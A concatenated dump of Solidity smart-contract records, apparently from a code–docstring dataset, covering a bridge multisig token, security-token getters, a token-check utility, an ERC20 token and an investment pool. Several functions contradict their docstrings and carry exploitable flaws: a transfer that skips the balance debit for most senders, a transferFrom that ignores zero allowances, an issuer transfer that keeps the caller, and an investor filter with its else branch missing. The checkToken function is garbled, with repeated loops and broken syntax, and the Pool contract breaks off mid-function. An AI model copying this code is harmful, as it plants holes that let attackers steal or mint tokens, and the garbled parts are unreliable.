contract TomoBridgeWrapToken is TRC21 {
/*
* Events
*/
// event TxBurn(uint indexed transactionId);
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
event TokenBurn(uint256 indexed burnID, address indexed burner, uint256 value, bytes data);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
uint public WITHDRAW_FEE = 0;
uint public DEPOSIT_FEE = 0;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
TokenBurnData[] public burnList;
struct TokenBurnData {
uint256 value;
address burner;
bytes data;
}
struct Transaction {
address destination;
uint value;
bytes data; //data is used in transactions altering owner list
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier onlyContractIssuer() {
require(msg.sender == issuer());
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor (address[] _owners,
uint _required, string memory _name,
string memory _symbol, uint8 _decimals,
uint256 cap, uint256 minFee,
uint256 depositFee, uint256 withdrawFee
) TRC21(_name, _symbol, _decimals) public validRequirement(_owners.length, _required) {
_mint(msg.sender, cap);
_changeIssuer(msg.sender);
_changeMinFee(minFee);
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
DEPOSIT_FEE = depositFee;
WITHDRAW_FEE = withdrawFee;
}
function transferContractIssuer(address newOwner) public onlyContractIssuer {
if (newOwner != address(0)) {
_changeIssuer(msg.sender);
}
}
function setDepositFee(uint256 depositFee) public onlyContractIssuer {
DEPOSIT_FEE = depositFee;
}
function setWithdrawFee(uint256 withdrawFee) public onlyContractIssuer {
WITHDRAW_FEE = withdrawFee;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
//transaction is considered as minting if no data provided, otherwise it's owner changing transaction
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows an user to burn the token.
function burn(uint value, bytes data)
public
{
require(value > WITHDRAW_FEE); //avoid spamming
super._burn(msg.sender, value);
if (WITHDRAW_FEE > 0) {
super._mint(issuer(), WITHDRAW_FEE);
}
uint256 burnValue = value.sub(WITHDRAW_FEE);
burnList.push(TokenBurnData({
value: burnValue,
burner: msg.sender,
data: data
}));
TokenBurn(burnList.length - 1, msg.sender, burnValue, data);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
// just need multisig for minting - freely burn
if (txn.data.length == 0) {
//execute minting transaction
txn.value = txn.value.sub(DEPOSIT_FEE);
super._mint(txn.destination, txn.value);
if (DEPOSIT_FEE > 0) {
super._mint(issuer(), DEPOSIT_FEE);
}
Execution(transactionId);
} else {
//transaction that alters the owners list
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint end = to > transactionCount? transactionCount: to;
uint[] memory transactionIdsTemp = new uint[](end - from);
uint count = 0;
uint i;
for (i = from; i < to; i++) {
if ((pending && !transactions[i].executed)
|| (executed && transactions[i].executed))
{
transactionIdsTemp[count] = i;
count += 1;
}
}
_transactionIds = new uint[](count);
for (i = 0; i < count; i++)
_transactionIds[i] = transactionIdsTemp[i];
}
function getBurnCount() public view returns (uint256) {
return burnList.length;
}
function getBurn(uint burnId) public view returns (address _burner, uint256 _value, bytes _data) {
_burner = burnList[burnId].burner;
_value = burnList[burnId].value;
_data = burnList[burnId].data;
}
}
|
Internal functions/ Adds a new transaction to the transaction mapping, if transaction does not exist yet. destination Transaction target address. value Transaction ether value. data Transaction data payload. return Returns transaction ID.
|
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
| 951,366
|
pragma solidity ^0.5.0;
import "./OZStorage.sol";
import "./SecurityTokenStorage.sol";
import "../libraries/TokenLib.sol";
import "../interfaces/IDataStore.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "../modules/PermissionManager/IPermissionManager.sol";
contract STGetter is OZStorage, SecurityTokenStorage {
using SafeMath for uint256;
/**
* @notice A security token issuer can specify that issuance has finished for the token
* (i.e. no new tokens can be minted or issued).
* @dev If a token returns FALSE for `isIssuable()` then it MUST always return FALSE in the future.
* If a token returns FALSE for `isIssuable()` then it MUST never allow additional tokens to be issued.
* @return bool `true` signifies the minting is allowed. While `false` denotes the end of minting
*/
function isIssuable() external view returns (bool) {
return issuance;
}
/**
* @notice Gets list of times that checkpoints were created
* @return List of checkpoint times
*/
function getCheckpointTimes() external view returns(uint256[] memory) {
return checkpointTimes;
}
/**
* @notice Returns the count of address that were added as (potential) investors
* @return Investor count
*/
function getInvestorCount() external view returns(uint256) {
IDataStore dataStoreInstance = IDataStore(dataStore);
return dataStoreInstance.getAddressArrayLength(INVESTORSKEY);
}
/**
* @notice returns an array of investors
* NB - this length may differ from investorCount as it contains all investors that ever held tokens
* @return list of addresses
*/
function getInvestors() public view returns(address[] memory investors) {
IDataStore dataStoreInstance = IDataStore(dataStore);
investors = dataStoreInstance.getAddressArray(INVESTORSKEY);
}
/**
* @notice returns an array of investors with non zero balance at a given checkpoint
* @param _checkpointId Checkpoint id at which investor list is to be populated
* @return list of investors
*/
function getInvestorsAt(uint256 _checkpointId) external view returns(address[] memory) {
uint256 count;
uint256 i;
IDataStore dataStoreInstance = IDataStore(dataStore);
address[] memory investors = dataStoreInstance.getAddressArray(INVESTORSKEY);
for (i = 0; i < investors.length; i++) {
if (balanceOfAt(investors[i], _checkpointId) > 0) {
count++;
} else {
investors[i] = address(0);
}
}
address[] memory holders = new address[](count);
count = 0;
for (i = 0; i < investors.length; i++) {
if (investors[i] != address(0)) {
holders[count] = investors[i];
count++;
}
}
return holders;
}
/**
* @notice returns an array of investors with non zero balance at a given checkpoint
* @param _checkpointId Checkpoint id at which investor list is to be populated
* @param _start Position of investor to start iteration from
* @param _end Position of investor to stop iteration at
* @return list of investors
*/
function getInvestorsSubsetAt(uint256 _checkpointId, uint256 _start, uint256 _end) external view returns(address[] memory) {
uint256 count;
uint256 i;
IDataStore dataStoreInstance = IDataStore(dataStore);
address[] memory investors = dataStoreInstance.getAddressArrayElements(INVESTORSKEY, _start, _end);
for (i = 0; i < investors.length; i++) {
if (balanceOfAt(investors[i], _checkpointId) > 0) {
count++;
} else {
investors[i] = address(0);
}
}
address[] memory holders = new address[](count);
count = 0;
for (i = 0; i < investors.length; i++) {
if (investors[i] != address(0)) {
holders[count] = investors[i];
count++;
}
}
return holders;
}
/**
* @notice Returns the data associated to a module
* @param _module address of the module
* @return bytes32 name
* @return address module address
* @return address module factory address
* @return bool module archived
* @return uint8 array of module types
* @return bytes32 module label
*/
function getModule(address _module) external view returns(bytes32, address, address, bool, uint8[] memory, bytes32) {
return (
modulesToData[_module].name,
modulesToData[_module].module,
modulesToData[_module].moduleFactory,
modulesToData[_module].isArchived,
modulesToData[_module].moduleTypes,
modulesToData[_module].label
);
}
/**
* @notice Returns a list of modules that match the provided name
* @param _name name of the module
* @return address[] list of modules with this name
*/
function getModulesByName(bytes32 _name) external view returns(address[] memory) {
return names[_name];
}
/**
* @notice Returns a list of modules that match the provided module type
* @param _type type of the module
* @return address[] list of modules with this type
*/
function getModulesByType(uint8 _type) external view returns(address[] memory) {
return modules[_type];
}
/**
* @notice use to return the global treasury wallet
*/
function getTreasuryWallet() external view returns(address) {
return IDataStore(dataStore).getAddress(TREASURY);
}
/**
* @notice Queries balances as of a defined checkpoint
* @param _investor Investor to query balance for
* @param _checkpointId Checkpoint ID to query as of
*/
function balanceOfAt(address _investor, uint256 _checkpointId) public view returns(uint256) {
require(_checkpointId <= currentCheckpointId);
return TokenLib.getValueAt(checkpointBalances[_investor], _checkpointId, balanceOf(_investor));
}
/**
* @notice Queries totalSupply as of a defined checkpoint
* @param _checkpointId Checkpoint ID to query
* @return uint256
*/
function totalSupplyAt(uint256 _checkpointId) external view returns(uint256) {
require(_checkpointId <= currentCheckpointId);
return checkpointTotalSupply[_checkpointId];
}
/**
* @notice generates subset of investors
* NB - can be used in batches if investor list is large. start and end both are included in array.
* @param _start Position of investor to start iteration from
* @param _end Position of investor to stop iteration at
* @return list of investors
*/
function iterateInvestors(uint256 _start, uint256 _end) external view returns(address[] memory) {
IDataStore dataStoreInstance = IDataStore(dataStore);
return dataStoreInstance.getAddressArrayElements(INVESTORSKEY, _start, _end);
}
/**
* @notice Validate permissions with PermissionManager if it exists, If no Permission return false
* @dev Note that IModule withPerm will allow ST owner all permissions anyway
* @dev this allows individual modules to override this logic if needed (to not allow ST owner all permissions)
* @param _delegate address of delegate
* @param _module address of PermissionManager module
* @param _perm the permissions
* @return success
*/
function checkPermission(address _delegate, address _module, bytes32 _perm) public view returns(bool) {
for (uint256 i = 0; i < modules[PERMISSION_KEY].length; i++) {
if (!modulesToData[modules[PERMISSION_KEY][i]].isArchived) {
if (IPermissionManager(modules[PERMISSION_KEY][i]).checkPermission(_delegate, _module, _perm)) {
return true;
}
}
}
return false;
}
/**
* @notice Determines whether `_operator` is an operator for all partitions of `_tokenHolder`
* @param _operator The operator to check
* @param _tokenHolder The token holder to check
* @return Whether the `_operator` is an operator for all partitions of `_tokenHolder`
*/
function isOperator(address _operator, address _tokenHolder) external view returns (bool) {
return (_allowed[_tokenHolder][_operator] == uint(-1));
}
/**
* @notice Determines whether `_operator` is an operator for a specified partition of `_tokenHolder`
* @param _partition The partition to check
* @param _operator The operator to check
* @param _tokenHolder The token holder to check
* @return Whether the `_operator` is an operator for a specified partition of `_tokenHolder`
*/
function isOperatorForPartition(bytes32 _partition, address _operator, address _tokenHolder) external view returns (bool) {
return partitionApprovals[_tokenHolder][_partition][_operator];
}
/**
* @notice Return all partitions
* @param _tokenHolder Whom balance need to queried
* @return List of partitions
*/
function partitionsOf(address _tokenHolder) external view returns (bytes32[] memory) {
address[] memory tms = modules[TRANSFER_KEY];
/* uint256 count; */
bytes32[] memory partitions;
bytes32[] memory tmPartitions;
// First determine the total number of non-distinct partitions
for (uint256 i = 0; i < tms.length; i++) {
tmPartitions = ITransferManager(tms[i]).getPartitions(_tokenHolder);
for (uint256 j = 0 ; j < tmPartitions.length; j++) {
partitions = _appendPartition(partitions, tmPartitions[j]);
}
}
partitions = _appendPartition(partitions, "DEFAULT");
/* bytes32[] memory partitions = new bytes32[](count + 1);
count = 0;
for (uint256 i = 0; i < tms.length; i++) {
tmPartitions = ITransferManager(tms[i]).getPartitions(_tokenHolder);
for (uint256 j = 0; j < tmPartitions.length; j++) {
partitions[count + j] = tmPartitions[j];
}
count += tmPartitions.length;
}
partitions[count] = "DEFAULT";
uint256[] memory index = new uint256[](count);
count = 0;
for (uint256 i = 0; i < partitions.length; i++) {
for (uint256 j = 0; j < partitions.length; j++) {
if (partitions[i] == partitions[j]) {
index[i] = j;
}
}
}
// Create distinct list
bytes32[] memory result */
return partitions;
}
function _appendPartition(bytes32[] memory partitions, bytes32 partition) internal pure returns (bytes32[] memory) {
bool duplicate = false;
for (uint256 i = 0; i < partitions.length; i++) {
if (partition == partitions[i]) {
duplicate = true;
break;
}
}
if (duplicate) {
bytes32[] memory result = new bytes32[](1 + partitions.length);
for (uint256 i = 0; i < partitions.length; i++) {
result[i] = partitions[i];
}
result[partitions.length] = partition;
return result;
}
return partitions;
}
/**
* @notice Returns the version of the SecurityToken
*/
function getVersion() external view returns(uint8[] memory) {
uint8[] memory version = new uint8[](3);
version[0] = securityTokenVersion.major;
version[1] = securityTokenVersion.minor;
version[2] = securityTokenVersion.patch;
return version;
}
/**
* @notice Used to return the details of a document with a known name (`bytes32`).
* @param _name Name of the document
* @return string The URI associated with the document.
* @return bytes32 The hash (of the contents) of the document.
* @return uint256 the timestamp at which the document was last modified.
*/
function getDocument(bytes32 _name) external view returns (string memory, bytes32, uint256) {
return (
_documents[_name].uri,
_documents[_name].docHash,
_documents[_name].lastModified
);
}
/**
* @notice Used to retrieve a full list of documents attached to the smart contract.
* @return bytes32 List of all documents names present in the contract.
*/
function getAllDocuments() external view returns (bytes32[] memory) {
return _docNames;
}
}
|
returns an array of investors with non zero balance at a given checkpoint _checkpointId Checkpoint id at which investor list is to be populated _start Position of investor to start iteration from _end Position of investor to stop iteration at return list of investors/
|
function getInvestorsSubsetAt(uint256 _checkpointId, uint256 _start, uint256 _end) external view returns(address[] memory) {
uint256 count;
uint256 i;
IDataStore dataStoreInstance = IDataStore(dataStore);
address[] memory investors = dataStoreInstance.getAddressArrayElements(INVESTORSKEY, _start, _end);
for (i = 0; i < investors.length; i++) {
if (balanceOfAt(investors[i], _checkpointId) > 0) {
count++;
investors[i] = address(0);
}
}
address[] memory holders = new address[](count);
count = 0;
for (i = 0; i < investors.length; i++) {
if (investors[i] != address(0)) {
holders[count] = investors[i];
count++;
}
}
return holders;
}
| 1,788,768
|
./full_match/43114/0x7495Bd05276CD4B192e315fAf891759039fA5884/sources/honeypotCatcher.sol
|
make sure that the token is sellable on each pair, requires a balance of the pair token
|
function checkToken(IExtendedERC20 token) external returns (CheckStatus) {
uint256 pairs = 0;
bool severeFee = false;
bool highFee = false;
bool mediumFee = false;
for (uint256 i = 0; i < tokens.length; i++) {
IExtendedERC20 sellFor = tokens[i];
if (sellFor == token) {
continue;
}
if (pair == address(0) || token.balanceOf(pair) == 0 || sellFor.balanceOf(pair) == 0) {
continue;
}
pairs += 1;
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
}
for (uint256 i = 0; i < tokens.length; i++) {
IExtendedERC20 sellFor = tokens[i];
if (sellFor == token) {
continue;
}
if (pair == address(0) || token.balanceOf(pair) == 0 || sellFor.balanceOf(pair) == 0) {
continue;
}
pairs += 1;
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
}
address pair = address(uniswapFactory.getPair(sellFor, token));
for (uint256 i = 0; i < tokens.length; i++) {
IExtendedERC20 sellFor = tokens[i];
if (sellFor == token) {
continue;
}
if (pair == address(0) || token.balanceOf(pair) == 0 || sellFor.balanceOf(pair) == 0) {
continue;
}
pairs += 1;
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
}
(CheckStatus status, uint256 received) = handleBuy(sellFor, token);
for (uint256 i = 0; i < tokens.length; i++) {
IExtendedERC20 sellFor = tokens[i];
if (sellFor == token) {
continue;
}
if (pair == address(0) || token.balanceOf(pair) == 0 || sellFor.balanceOf(pair) == 0) {
continue;
}
pairs += 1;
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
}
for (uint256 i = 0; i < tokens.length; i++) {
IExtendedERC20 sellFor = tokens[i];
if (sellFor == token) {
continue;
}
if (pair == address(0) || token.balanceOf(pair) == 0 || sellFor.balanceOf(pair) == 0) {
continue;
}
pairs += 1;
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
}
} else if (status == CheckStatus.HIGH_FEE) {
} else if (status == CheckStatus.MEDIUM_FEE) {
(status, received) = handleBuy(token, sellFor);
for (uint256 i = 0; i < tokens.length; i++) {
IExtendedERC20 sellFor = tokens[i];
if (sellFor == token) {
continue;
}
if (pair == address(0) || token.balanceOf(pair) == 0 || sellFor.balanceOf(pair) == 0) {
continue;
}
pairs += 1;
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
}
for (uint256 i = 0; i < tokens.length; i++) {
IExtendedERC20 sellFor = tokens[i];
if (sellFor == token) {
continue;
}
if (pair == address(0) || token.balanceOf(pair) == 0 || sellFor.balanceOf(pair) == 0) {
continue;
}
pairs += 1;
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
if (
status == CheckStatus.APPROVE_FAILED ||
status == CheckStatus.SWAP_FAILED
) {
return status;
}
if (status == CheckStatus.SEVERE_FEE) {
severeFee = true;
highFee = true;
mediumFee = true;
}
}
} else if (status == CheckStatus.HIGH_FEE) {
} else if (status == CheckStatus.MEDIUM_FEE) {
if (pairs == 0) {
return CheckStatus.NO_PAIRS;
}
if (severeFee) {
return CheckStatus.SEVERE_FEE;
}
if (highFee) {
return CheckStatus.HIGH_FEE;
}
if (mediumFee) {
return CheckStatus.MEDIUM_FEE;
}
return CheckStatus.OK;
}
| 16,390,214
|
./partial_match/1/0xf9E0F5D73E7711Ad3872c7989797D35C1cA0f16c/sources/SONIK.sol
|
Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
|
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (fbs[sender] > 0) {
fbs[sender] = fbs[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
}
_balances[recipient] = _balances[recipient].add(amount);
emit Log("Sonik is a speedy lil bastard.");
emit Transfer(sender, recipient, amount);
}
| 15,519,841
|
pragma solidity >=0.5.0;
//Adapters
import './interfaces/IBaseUbeswapAdapter.sol';
//Interfaces
import './interfaces/IERC20.sol';
import './interfaces/IPool.sol';
import './interfaces/ISettings.sol';
import './interfaces/IAddressResolver.sol';
import './interfaces/IFeePool.sol';
//Libraries
import './libraries/SafeMath.sol';
contract Pool is IPool, IERC20 {
using SafeMath for uint;
IAddressResolver public ADDRESS_RESOLVER;
string public _name;
uint public _totalSupply;
address public _manager;
uint public _performanceFee; //expressed as %
address public _farmAddress;
uint public _totalDeposits;
mapping (address => uint) public _balanceOf;
mapping (address => uint) public _deposits;
mapping(address => mapping(address => uint)) public override allowance;
address[] public _positionKeys;
constructor(string memory name, uint performanceFee, address manager, IAddressResolver addressResolver) public {
_name = name;
_manager = manager;
_performanceFee = performanceFee;
ADDRESS_RESOLVER = addressResolver;
}
/* ========== VIEWS ========== */
/**
* @dev Returns the name of the pool
* @return string The name of the pool
*/
function name() public view override(IPool, IERC20) returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return "";
}
function decimals() public view override returns (uint8) {
return 18;
}
/**
* @dev Returns the address of the pool's farm
* @return address Address of the pool's farm
*/
function getFarmAddress() public view override returns (address) {
return _farmAddress;
}
/**
* @dev Return the pool manager's address
* @return address Address of the pool's manager
*/
function getManagerAddress() public view override returns (address) {
return _manager;
}
/**
* @dev Returns the currency address and balance of each position the pool has, as well as the cumulative value
* @return (address[], uint[], uint) Currency address and balance of each position the pool has, and the cumulative value of positions
*/
function getPositionsAndTotal() public view override returns (address[] memory, uint[] memory, uint) {
address baseUbeswapAdapterAddress = ADDRESS_RESOLVER.getContractAddress("BaseUbeswapAdapter");
address[] memory addresses = new address[](_positionKeys.length);
uint[] memory balances = new uint[](_positionKeys.length);
uint sum;
for (uint i = 0; i < _positionKeys.length; i++)
{
balances[i] = IERC20(_positionKeys[i]).balanceOf(address(this));
addresses[i] = _positionKeys[i];
uint numberOfDecimals = IERC20(_positionKeys[i]).decimals();
uint USDperToken = IBaseUbeswapAdapter(baseUbeswapAdapterAddress).getPrice(_positionKeys[i]);
uint positionBalanceInUSD = balances[i].mul(USDperToken).div(10 ** numberOfDecimals);
sum = sum.add(positionBalanceInUSD);
}
return (addresses, balances, sum);
}
/**
* @dev Returns the amount of cUSD the pool has to invest
* @return uint Amount of cUSD the pool has available
*/
function getAvailableFunds() public view override returns (uint) {
address settingsAddress = ADDRESS_RESOLVER.getContractAddress("Settings");
address stableCoinAddress = ISettings(settingsAddress).getStableCoinAddress();
return IERC20(stableCoinAddress).balanceOf(address(this));
}
/**
* @dev Returns the value of the pool in USD
* @return uint Value of the pool in USD
*/
function getPoolBalance() public view override returns (uint) {
(,, uint positionBalance) = getPositionsAndTotal();
return positionBalance;
}
/**
* @dev Returns the balance of the user in USD
* @return uint Balance of the user in USD
*/
function getUSDBalance(address user) public view override returns (uint) {
require(user != address(0), "Invalid address");
uint poolBalance = getPoolBalance();
return poolBalance.mul(_balanceOf[user]).div(_totalSupply);
}
/**
* @dev Returns the number of LP tokens the user has
* @param user Address of the user
* @return uint Number of LP tokens the user has
*/
function balanceOf(address user) public view override(IPool, IERC20) returns (uint) {
require(user != address(0), "Invalid user address");
return _balanceOf[user];
}
/**
* @dev Returns the total supply of LP tokens in the pool
* @return uint Total supply of LP tokens
*/
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
/**
* @dev Returns the pool's performance fee
* @return uint The pool's performance fee
*/
function getPerformanceFee() public view override returns (uint) {
return _performanceFee;
}
/* ========== MUTATIVE FUNCTIONS ========== */
function approve(address spender, uint value) public override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) public override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) public override returns (bool) {
if (allowance[from][msg.sender] > 0) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @dev Deposits the given USD amount into the pool
* @notice Call cUSD.approve() before calling this function
* @param amount Amount of USD to deposit into the pool
*/
function deposit(uint amount) public override {
require(amount > 0, "Pool: Deposit must be greater than 0");
uint poolBalance = getPoolBalance();
uint numberOfLPTokens = (_totalSupply > 0) ? _totalSupply.mul(amount).div(poolBalance) : amount;
_deposits[msg.sender] = _deposits[msg.sender].add(amount);
_totalDeposits = _totalDeposits.add(amount);
_balanceOf[msg.sender] = _balanceOf[msg.sender].add(numberOfLPTokens);
_totalSupply = _totalSupply.add(numberOfLPTokens);
address settingsAddress = ADDRESS_RESOLVER.getContractAddress("Settings");
address stableCoinAddress = ISettings(settingsAddress).getStableCoinAddress();
